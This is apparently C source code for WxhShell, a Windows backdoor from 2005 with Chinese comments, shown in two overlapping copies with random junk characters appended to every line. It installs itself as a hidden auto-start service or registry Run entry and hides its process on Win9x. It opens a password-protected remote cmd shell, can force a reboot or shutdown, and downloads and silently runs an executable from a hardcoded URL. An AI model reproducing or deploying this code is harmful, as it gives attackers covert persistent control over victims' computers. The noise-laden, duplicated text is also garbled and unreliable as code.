    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"R#@V\'1b  
    else { YgoBHE0#  
    closesocket(wsh); n-OL0$Xu  
    ExitThread(0); as_PoCoss  
    } C'X!\}f.b/  
    break; d^6M9lGU  
    } @ry_nKr9  
  // 获取shell _/K_[w 1  
  case 's': { Wxe0IXq3Nn  
    CmdShell(wsh); = 9]~ yt  
    closesocket(wsh); OydwE  
    ExitThread(0); l/awS!Q/nF  
    break; ?I@W:#>o  
  } xZv#Es%#  
  // 退出 n.G!43@*N  
  case 'x': { }Z,x~G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "FKOaQ%IH  
    CloseIt(wsh); r$~HfskeI  
    break; _f:W?$\ho  
    } $p?aVO  
  // 离开 *`RkTc G  
  case 'q': { N*&1GT#9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z/;aT -N  
    closesocket(wsh); (*)hD(C5  
    WSACleanup(); (=@h23 vH  
    exit(1); tC9n k5~  
    break; & 9 ?\b7  
        } )%@J=&G8TT  
  } j ?(&#  
  } #?9;uy<j.q  
~La>?:g <+  
  // 提示信息 Eg3q!J&Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p"ZG%Ow5Q]  
} X(-4<B  
  } -p XSSa;O9  
e;}7G  
  return; KNIn:K^/  
} uGEfIy 2  
V /V9B2.$  
// shell模块句柄  O+Y6N  
int CmdShell(SOCKET sock) b?QoS|<e?  
{ ` v@m-j6  
STARTUPINFO si; 4u5-7[TZ  
ZeroMemory(&si,sizeof(si)); ]F'e aR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g~A`N=r;h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HqT#$}rv  
PROCESS_INFORMATION ProcessInfo; P! #[mio  
char cmdline[]="cmd"; +s DV~\Vu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T <ET )D7  
  return 0; &AbNWtCV+G  
} *.d)OOpLo  
\Et3|Iv  
// 自身启动模式 oHn Ky[1  
int StartFromService(void) =.]4;z  
{ SmSH2m-  
typedef struct y ~!Zg}o  
{ 'Xq| Kf (  
  DWORD ExitStatus; )ea>%  
  DWORD PebBaseAddress; 8i#2d1O  
  DWORD AffinityMask; !58@pLJw  
  DWORD BasePriority; !\.pq  2  
  ULONG UniqueProcessId; ^N{h3b8  
  ULONG InheritedFromUniqueProcessId; *]/zc1Q4M  
}   PROCESS_BASIC_INFORMATION; ]R f[y  
\$T(t/$9  
PROCNTQSIP NtQueryInformationProcess; T&u5ki4NE  
Doyx[zZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qm8B8&-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DKJmTH]rUg  
YvyNHW&  
  HANDLE             hProcess; JL}_72gs  
  PROCESS_BASIC_INFORMATION pbi; c>:wd@w  
T{ XS")Vw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E GU 0)<  
  if(NULL == hInst ) return 0; =BAW[%1b  
( !fKNia@S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3/e.38m|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V/ uP%'cd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vJc-6EO  
PB`Y g  
  if (!NtQueryInformationProcess) return 0; rkCx{pe9  
=O_4|7Zl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9YQb &  
  if(!hProcess) return 0; Rmt~,cW!\  
 zC@o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <~'"<HwtK  
?5|>@>  
  CloseHandle(hProcess); (U_ujPD ?  
cyv`B3}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hl(hJfp  
if(hProcess==NULL) return 0; +tIF h'  
j9 4=hJVKi  
HMODULE hMod; \[_t]'p  
char procName[255]; _] sn0rX  
unsigned long cbNeeded; =eXU@B  
E }Z/*lX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); " H&W}N  
[-k  
  CloseHandle(hProcess); |w1Bq  
xPk8$1meZM  
if(strstr(procName,"services")) return 1; // 以服务启动 #Z`q+@@ ]A  
mD0f<gJ1  
  return 0; // 注册表启动 )c83/= <v  
} kmsb hYM)  
iWB=sL&p  
// 主模块 }{qZ[/JwqN  
int StartWxhshell(LPSTR lpCmdLine) wh\}d4gN  
{ gk[aM~p  
  SOCKET wsl; ceh j;  
BOOL val=TRUE; ZaDyg"Tw+  
  int port=0; T/Gz94c  
  struct sockaddr_in door; v/0QOp  
B=yqW  
  if(wscfg.ws_autoins) Install(); 6]_pIf  
ogtEAv~e7N  
port=atoi(lpCmdLine); ^aMg/.j  
}QcCS2)Ud  
if(port<=0) port=wscfg.ws_port; ] =xE  
goRL1L,5  
  WSADATA data; /vde2.|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c74.< @w  
?m=N]!n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `*["UER  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G5RR]?@6V  
  door.sin_family = AF_INET; wd^':  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |zNX=mAV  
  door.sin_port = htons(port); trA4R/ &  
;| 5F[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2c,9e`  
closesocket(wsl); B5VKs,g  
return 1; f ue(UMF~  
} _476pZ_  
88gM?G _X  
  if(listen(wsl,2) == INVALID_SOCKET) { ?|C2*?hZ+  
closesocket(wsl); =:,g  
return 1; VimE@Hz  
} 5 +YH.4R  
  Wxhshell(wsl); cAqLE\h  
  WSACleanup(); (KD RkE|=  
qIE9$7*X  
return 0; [nG<[<0G;  
[M}{G5U.  
} '8. r-`l(  
/?'FE 7Y  
// 以NT服务方式启动 #7 $ H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )VS=E7[  
{ /P3 <"?#k  
DWORD   status = 0; R)( T^V`{  
  DWORD   specificError = 0xfffffff; :WS@=sZN  
B =T'5&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nH'e?>x~e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z1f8/?`W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D~fl JR  
  serviceStatus.dwWin32ExitCode     = 0; cJ n=  
  serviceStatus.dwServiceSpecificExitCode = 0; VUGmi]qd  
  serviceStatus.dwCheckPoint       = 0; I-)+bV G  
  serviceStatus.dwWaitHint       = 0; 4Zddw0|2  
m@F`!qY~Y\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~&_z2|UXp  
  if (hServiceStatusHandle==0) return; T_ <@..C  
d-ZJL6-  
status = GetLastError(); @|m/djN5x  
  if (status!=NO_ERROR) oUr66a/[U  
{ 9@:2wR |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jk11fn;\>  
    serviceStatus.dwCheckPoint       = 0; kGS;s B  
    serviceStatus.dwWaitHint       = 0; qu@~g cE  
    serviceStatus.dwWin32ExitCode     = status; rjAn@!|:+  
    serviceStatus.dwServiceSpecificExitCode = specificError; T#Z^s~7&I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o5O#vW2Il&  
    return; c?*=|}N  
  } k[YS8g-Q  
z`}qkbvi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *3FKt&v 0  
  serviceStatus.dwCheckPoint       = 0; 2'\H\|  
  serviceStatus.dwWaitHint       = 0; dNH08q8P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g \:[ 55;8  
} 1~`fVg  
`pS9_ NYZ}  
// 处理NT服务事件,比如:启动、停止 EhvX)s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9c'xHO`  
{ 7wqK>Y1a  
switch(fdwControl) [`[|l  
{ #&k5 d:  
case SERVICE_CONTROL_STOP: JPUW6e07o  
  serviceStatus.dwWin32ExitCode = 0; a :`E0}C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8z`G,qh  
  serviceStatus.dwCheckPoint   = 0; 4G0m\[Du  
  serviceStatus.dwWaitHint     = 0; (Q!}9K3  
  { .},'~NM]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *W1dG#Np}  
  } F6|]4H.3Q  
  return; 1D7 `YKI9h  
case SERVICE_CONTROL_PAUSE: [Ek7b *  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eHZws`W  
  break; (@VMH !3  
case SERVICE_CONTROL_CONTINUE: 70nqD>M4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GPudaF{  
  break; ]Sz:|%JP1  
case SERVICE_CONTROL_INTERROGATE: e}7lBLK]*  
  break; <w9JRpFY  
}; XJ\DVZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ncdKj}  
} (OL4Ex']  
MK~8}x2K  
// 标准应用程序主函数 $6 9&O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  . iI  
{ XFpjYwn  
{9pZ)tB  
// 获取操作系统版本 c_pr  
OsIsNt=GetOsVer(); UHkMn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! E5HN :#  
Vwf$JdK%&l  
  // 从命令行安装 ,PW'#U:  
  if(strpbrk(lpCmdLine,"iI")) Install(); <2x^slx)?  
i$#;Kpb`^  
  // 下载执行文件 O+]ZyHnB  
if(wscfg.ws_downexe) { R| , g<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KYI/  
  WinExec(wscfg.ws_filenam,SW_HIDE); U_Ptqqt%  
} -f^tE,-  
6l x>>J!H  
if(!OsIsNt) { eJ-xsH*8  
// 如果时win9x,隐藏进程并且设置为注册表启动 p)-^;=<B3  
HideProc(); ,^< R{{{-A  
StartWxhshell(lpCmdLine); lgy <?LI\  
} ]Q1yNtN  
else _6hQ %hv8  
  if(StartFromService()) G j?t_Zln  
  // 以服务方式启动 exUFS5d  
  StartServiceCtrlDispatcher(DispatchTable); |aS.a&vwR  
else @*XV`_!h  
  // 普通方式启动  4e7-0}0  
  StartWxhshell(lpCmdLine); s 5Qcl;}  
4E+e}\r:6  
return 0; bsli0FJSh'  
} V)k4:H  
pYEMmZ?L  
|syR6(U}  
.`H5cuF`  
=========================================== lrE5^;/s1  
? :%@vM  
ec;o\erPG  
}R2u@%n{  
J]'zIOQ  
^uc=f2=>,  
" Ge@{_  
`/+>a8  
#include <stdio.h> %aCqi(.7  
#include <string.h> ^z*t%<@[Q  
#include <windows.h> Wvh#:Z  
#include <winsock2.h> ebhXak[w  
#include <winsvc.h> u&vf+6=9Dd  
#include <urlmon.h> khxnlry  
+\]\[6  
#pragma comment (lib, "Ws2_32.lib") jB2[(  
#pragma comment (lib, "urlmon.lib") #zs~," dRv  
t =iIY`Md%  
#define MAX_USER   100 // 最大客户端连接数 vA{-{Q  
#define BUF_SOCK   200 // sock buffer F/{!tx  
#define KEY_BUFF   255 // 输入 buffer T'9'G M  
Sz`,X0a  
#define REBOOT     0   // 重启 ;$|nrwhy  
#define SHUTDOWN   1   // 关机 Wn2NMXK  
>+1duAC  
#define DEF_PORT   5000 // 监听端口 _TZRVa_  
=UQ3HQD  
#define REG_LEN     16   // 注册表键长度  kDioD  
#define SVC_LEN     80   // NT服务名长度 gr2U6gi  
$s:aW^k  
// 从dll定义API k4;7<j$ir  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d7upz]K9g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {!L~@r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J*M>6Q.)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k4J+J.|  
oG\Vxg*  
// wxhshell配置信息  }my`K  
struct WSCFG { O^ yG?b  
  int ws_port;         // 监听端口 I\ob7X'Xu!  
  char ws_passstr[REG_LEN]; // 口令 73;GW4,  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~$^XP.a.  
  char ws_regname[REG_LEN]; // 注册表键名 #X1ND  
  char ws_svcname[REG_LEN]; // 服务名 U5de@Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3]S$ih&A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f]CXu3w(J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wmLs/:~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +mn[5Y}:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g($2Dk_F2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e\L8oOk#r  
kxv1Hn"`{E  
}; b ]KBgZ  
%'pgGC"|  
// default Wxhshell configuration 'H;*W|:-]  
struct WSCFG wscfg={DEF_PORT, ` Sz}`+E  
    "xuhuanlingzhe", KZf+MSq? B  
    1, gPPkT"  
    "Wxhshell", tR$NRMZ.  
    "Wxhshell", K$=zi}J W  
            "WxhShell Service", ckCE1e>s  
    "Wrsky Windows CmdShell Service", K}Qa~_  
    "Please Input Your Password: ", w}L[u r;I_  
  1, +ZP7{%  
  "http://www.wrsky.com/wxhshell.exe", f/?P514h  
  "Wxhshell.exe" ~D>p0+-c  
    }; |FRg\#kf%  
8}:nGK|kx  
// 消息定义模块 ");a3hD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C3g_! dUs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;O,jUiQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4*;MJ[|  
char *msg_ws_ext="\n\rExit."; s eJ^s@H5l  
char *msg_ws_end="\n\rQuit."; \  Cj7k^  
char *msg_ws_boot="\n\rReboot..."; Y'X%Aw;`  
char *msg_ws_poff="\n\rShutdown..."; Aos+dP5h,8  
char *msg_ws_down="\n\rSave to "; w0unS`\4  
r3?o9D>  
char *msg_ws_err="\n\rErr!"; YS_; OFsd  
char *msg_ws_ok="\n\rOK!"; dPRra{  
WNc0W>*NE1  
char ExeFile[MAX_PATH]; *LY8D<:zs  
int nUser = 0; l'E6CL}@[  
HANDLE handles[MAX_USER]; .=; ;  
int OsIsNt; 9>#6*/Oa7  
dj%!I:Q>u  
SERVICE_STATUS       serviceStatus; W2!+z{:m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A3*!"3nU  
X@FN|Rdh  
// 函数声明 8 Fbo3  
int Install(void); hi[pVk~B)  
int Uninstall(void); *VN6cSq  
int DownloadFile(char *sURL, SOCKET wsh); a8Wwq?@  
int Boot(int flag); aw>#P   
void HideProc(void); _o~ nr]zx  
int GetOsVer(void); 8q7b_Pq1U  
int Wxhshell(SOCKET wsl); <gBA1oRz  
void TalkWithClient(void *cs); <OPArht  
int CmdShell(SOCKET sock); <#HYqR',  
int StartFromService(void); hE-M$LmN@  
int StartWxhshell(LPSTR lpCmdLine); /qw.p#  
PPsE${!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \l3h0R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m#p'iU*va,  
N{>n$ v}  
// 数据结构和表定义 > Nr#O  
SERVICE_TABLE_ENTRY DispatchTable[] = #X"@<l4F  
{ kG*~ |ma  
{wscfg.ws_svcname, NTServiceMain}, NGWxN8P6  
{NULL, NULL} / XIhj  
}; +ck}l2&#  
.N(p=9  
// 自我安装 bZV/l4TU  
int Install(void) nQS|Lt_+  
{ :U x_qB  
  char svExeFile[MAX_PATH]; ct}9i"H#1  
  HKEY key; e(G |;a  
  strcpy(svExeFile,ExeFile); GPkpXVm  
{VoHh_[5%  
// 如果是win9x系统,修改注册表设为自启动 bN@ l?w  
if(!OsIsNt) { cN9t{.m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u<&m]] *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H>@+om  
  RegCloseKey(key); nFs(?Rv*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _J[P[(ab  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;A!BVq  
  RegCloseKey(key); GuL<Z1<c  
  return 0; >F&47Yn  
    } Sa5G.^ XI  
  } )\^-2[;  
} pD]OT-8  
else { ~u+9J}  
N}YkMJy  
// 如果是NT以上系统,安装为系统服务 TuqH*{NNy9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FC"8#*x  
if (schSCManager!=0) _wL BA^d^  
{ wec)Ctj+  
  SC_HANDLE schService = CreateService lb1Xsgm{  
  ( 5*D/%]YsD  
  schSCManager, 2GStN74Xr  
  wscfg.ws_svcname, ~y[7K{{ ;T  
  wscfg.ws_svcdisp, Mb7I[5v  
  SERVICE_ALL_ACCESS, >-{Hyx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !0E&@X:-  
  SERVICE_AUTO_START, WOf 4o  
  SERVICE_ERROR_NORMAL, ]M'=^32  
  svExeFile, L&OwPd  
  NULL, 61 ~upQaR  
  NULL, g$o&Udgs  
  NULL, ;6hOx(>`=  
  NULL, 2)~> R  
  NULL 2dgd~   
  ); !5?<% *  
  if (schService!=0) *_g$MI  
  { YT8F#t8  
  CloseServiceHandle(schService); dnuu&Rv  
  CloseServiceHandle(schSCManager); sUm'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W+1^4::+  
  strcat(svExeFile,wscfg.ws_svcname); B,fo(kG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FU<Jp3<%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7vj2 `+r.  
  RegCloseKey(key); dGTsc/$  
  return 0; :p6M=  
    } O<W_fx8_'  
  } -s'-eQF J  
  CloseServiceHandle(schSCManager); G<;*SYAb  
} -n5)w*b,  
} k.15CA`  
$xdy&  
return 1; eQvg7aO;  
} w:l V"]1  
?@ $r  
// 自我卸载 e64^ChCoV  
int Uninstall(void) fLAw12;^  
{ ;P&OX5~V  
  HKEY key; E q+_&Wk  
7i1q wRv  
if(!OsIsNt) { 7 x?<*T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8kDp_s i  
  RegDeleteValue(key,wscfg.ws_regname); U|j`e5)  
  RegCloseKey(key); O!bOp=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^L&iR0  
  RegDeleteValue(key,wscfg.ws_regname); , SnSW-P  
  RegCloseKey(key); G;XxBA  
  return 0; _2 osV[e  
  } 5d!-G$ @  
} yJe>JK~)  
} ZWp(GC1NA  
else { c-FcEW  
Ef13Q]9|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Z]!/AsC  
if (schSCManager!=0) YkQd  
{ eO[b1]WLP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (0kK_k'T  
  if (schService!=0) @2v_pJy^  
  { =rX>1  
  if(DeleteService(schService)!=0) { IRqy%@)  
  CloseServiceHandle(schService); 9490o:s  
  CloseServiceHandle(schSCManager); iM 3V=&)  
  return 0; i8HTzv"J  
  } {U !g.rh  
  CloseServiceHandle(schService); 1D!<'`)AY  
  } # c^z&0B}  
  CloseServiceHandle(schSCManager); WvZ8/T'x  
} }|5Pr(I  
} c_!cv":s  
l0i^uMS  
return 1; "i W"NFO  
} D*|Bb?  
! #2{hQRu  
// 从指定url下载文件 ayF\nk4b  
int DownloadFile(char *sURL, SOCKET wsh) t}/( b/VD  
{ 2P{Gxz<#  
  HRESULT hr; [Cv/{f3]u{  
char seps[]= "/"; I?G :p+  
char *token; r1RM  
char *file; 5bpEYW+  
char myURL[MAX_PATH]; R<N ]B  
char myFILE[MAX_PATH]; 0>Z_*U~6  
*% @h(js  
strcpy(myURL,sURL); =+d?x 56  
  token=strtok(myURL,seps); 2*#|Nj=^  
  while(token!=NULL) 4d;8`66O  
  { gEE\y{y  
    file=token; Qv/=&_6  
  token=strtok(NULL,seps); G+\GaY[  
  } 0'?L#K  
UN<]N76!  
GetCurrentDirectory(MAX_PATH,myFILE); Gjo`&#  
strcat(myFILE, "\\"); u!qP  
strcat(myFILE, file); h>OfOx/{q9  
  send(wsh,myFILE,strlen(myFILE),0); 85xR2<:  
send(wsh,"...",3,0); \6*I'|5 d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hTi$.y!k  
  if(hr==S_OK) #|PS&}6wU  
return 0; Z!X0U7& U  
else KRDmY+  
return 1; m$T-s|SY  
&H:(z4/  
} 3n}?bY8@5_  
p,i[W.dy.'  
// 系统电源模块 jPW#(3hoE  
int Boot(int flag) d)f :)Ew  
{ [RTs[3E^  
  HANDLE hToken; @@ %.t|=  
  TOKEN_PRIVILEGES tkp; QWHug:c  
3"KCh\\b  
  if(OsIsNt) { n t7.?$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "vE4E|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E\pL!c  
    tkp.PrivilegeCount = 1; \&gB)czEO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QbpFE)TYJ|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5 5c|O  
if(flag==REBOOT) { q;>7*Y&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $,Yd>%Y  
  return 0; `XEr(e9  
} pgZXJ  
else { Whf.fK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _X"N1,0  
  return 0; **gXvTqI  
} o"R7,N0rB  
  } LW_ f  
  else { ThbGQ"/  
if(flag==REBOOT) { zi*R`;_`,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) naznayy  
  return 0; .$)  
} 2Ny"O.0h  
else { 7,9=uk>0\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M,mvys$  
  return 0; L"Olwwmk  
} 8k1Dj1@0z  
} mk+B9?;cF-  
mZ"4&U  
return 1; (|1A?@sJ#h  
} nq8C'Fo!6T  
2Gaa(rJ5o  
// win9x进程隐藏模块 6]%sFy2  
void HideProc(void) * U=s\  
{ pYZ6e_j1 ~  
'o>B'$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -"60d @.  
  if ( hKernel != NULL ) H6 HVu |  
  { @eIJ]p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6-B|Y3)B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ):_\;.L  
    FreeLibrary(hKernel); _1!OlQ  
  } HLaRGN3,  
(7=!+'T"  
return; RxWVe-Dg  
} /9p wZ%:<  
!fR3 (=oN  
// 获取操作系统版本 +8d1|cB"  
int GetOsVer(void) vbe|hO""  
{ 6?~"V  
  OSVERSIONINFO winfo; G@jZ)2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :~N-.#  
  GetVersionEx(&winfo); ly_HWuFJ3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3H6lBF  
  return 1; Bj-: #P@  
  else _k ~KZ;l  
  return 0; l &5QZI0I  
} b:]V`uF?  
T\j{Bi5 \J  
// 客户端句柄模块 8jo p_PG'  
int Wxhshell(SOCKET wsl) 90*5 5\>{  
{ Y U5(g^<  
  SOCKET wsh; J!pygn O  
  struct sockaddr_in client; rb+j*5Es  
  DWORD myID; =wOm}V8 N&  
OGg>#vj,s  
  while(nUser<MAX_USER) po Vx8oO8  
{ bU:EqW\(^  
  int nSize=sizeof(client); -^h' >.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k=JrLfD4  
  if(wsh==INVALID_SOCKET) return 1; 6'G6<8 >-  
Jx](G>F4f1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yS(fILV  
if(handles[nUser]==0) 8sM|%<$=j  
  closesocket(wsh); EL 8<U  
else l@+7:n4K0  
  nUser++; q[W 0 N >  
  } Q&=w_Wc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jun_QiU:2  
_Wq  
  return 0; cacr=iX  
} %'7lbpy,f  
WRy aKM  
// 关闭 socket yiC^aY=-  
void CloseIt(SOCKET wsh) +&( Mgbna  
{ UK O[r;  
closesocket(wsh); ^!ZC?h!rG  
nUser--; YS@ypzc/  
ExitThread(0); J1I ;Jgql(  
} ERE)A-8  
^N;.cY  
// 客户端请求句柄 TNY&asQo  
void TalkWithClient(void *cs) GyIT{M}KV  
{ *|C^=*j9  
T;y>>_,  
  SOCKET wsh=(SOCKET)cs; >dG;w6y'  
  char pwd[SVC_LEN]; b#toM';T  
  char cmd[KEY_BUFF]; s!&#c`=  
char chr[1]; ,3p~w5C/+[  
int i,j; BJsz2t :0  
W;L7SF g)  
  while (nUser < MAX_USER) { C|). ;V&  
1&)?JZhg  
if(wscfg.ws_passstr) { nvJf/90$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]?+p5;{y4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !K}~/9Z=m  
  //ZeroMemory(pwd,KEY_BUFF); (ehK?6[  
      i=0; `W:%mJd9  
  while(i<SVC_LEN) { ?:8ido#-  
r1.nTO%  
  // 设置超时 v7jq@#-   
  fd_set FdRead; P&)xz7wG  
  struct timeval TimeOut; 1H@>/QC  
  FD_ZERO(&FdRead); +"cq(Y@  
  FD_SET(wsh,&FdRead); (k) l= ]`}  
  TimeOut.tv_sec=8; ceM6{N<_U  
  TimeOut.tv_usec=0; |_*O'#jx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  TYmP)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %Yicg6:  
CBOi`bEf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L,`Lggq-  
  pwd=chr[0]; ;8*`{F[  
  if(chr[0]==0xd || chr[0]==0xa) { q<[_T  
  pwd=0; FsV'Cu@!U  
  break; V=qwwYz~  
  } K[Kh&`T  
  i++; &7b|4a8B%  
    } TI#''XCB5  
?hM>mL  
  // 如果是非法用户,关闭 socket 28H8l2{[>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (?`kYTw7g'  
} \h DdU+  
z4+k7a@jn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [16cFqD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T:Hr&ws4  
M?:c)&$]D  
while(1) { OK6] e3UO  
;04Ldb1{|3  
  ZeroMemory(cmd,KEY_BUFF); e8]\U/  
8V)^R(\;  
      // 自动支持客户端 telnet标准   oCi=4#g%7  
  j=0; 7_Z#m (  
  while(j<KEY_BUFF) { F\AX :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 04'~ta(t  
  cmd[j]=chr[0]; 'wI"Bo6e  
  if(chr[0]==0xa || chr[0]==0xd) { ll6wpV0m  
  cmd[j]=0; B}:(za&  
  break; ]2'na?q9  
  } HATA-M  
  j++; gb> }v7  
    } fX.>9H[w@~  
4%}*&nsI-Z  
  // 下载文件 HA`@7I  
  if(strstr(cmd,"http://")) { {Jx4xpvPo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gu<'QV"  
  if(DownloadFile(cmd,wsh)) ("+}=*?OF3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kc @[9eV  
  else zG9Y!SY\-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !n$tr  
  } O .Iu6D  
  else { @t`Xq1  
gk+h8 LZ  
    switch(cmd[0]) { }!/$M\w  
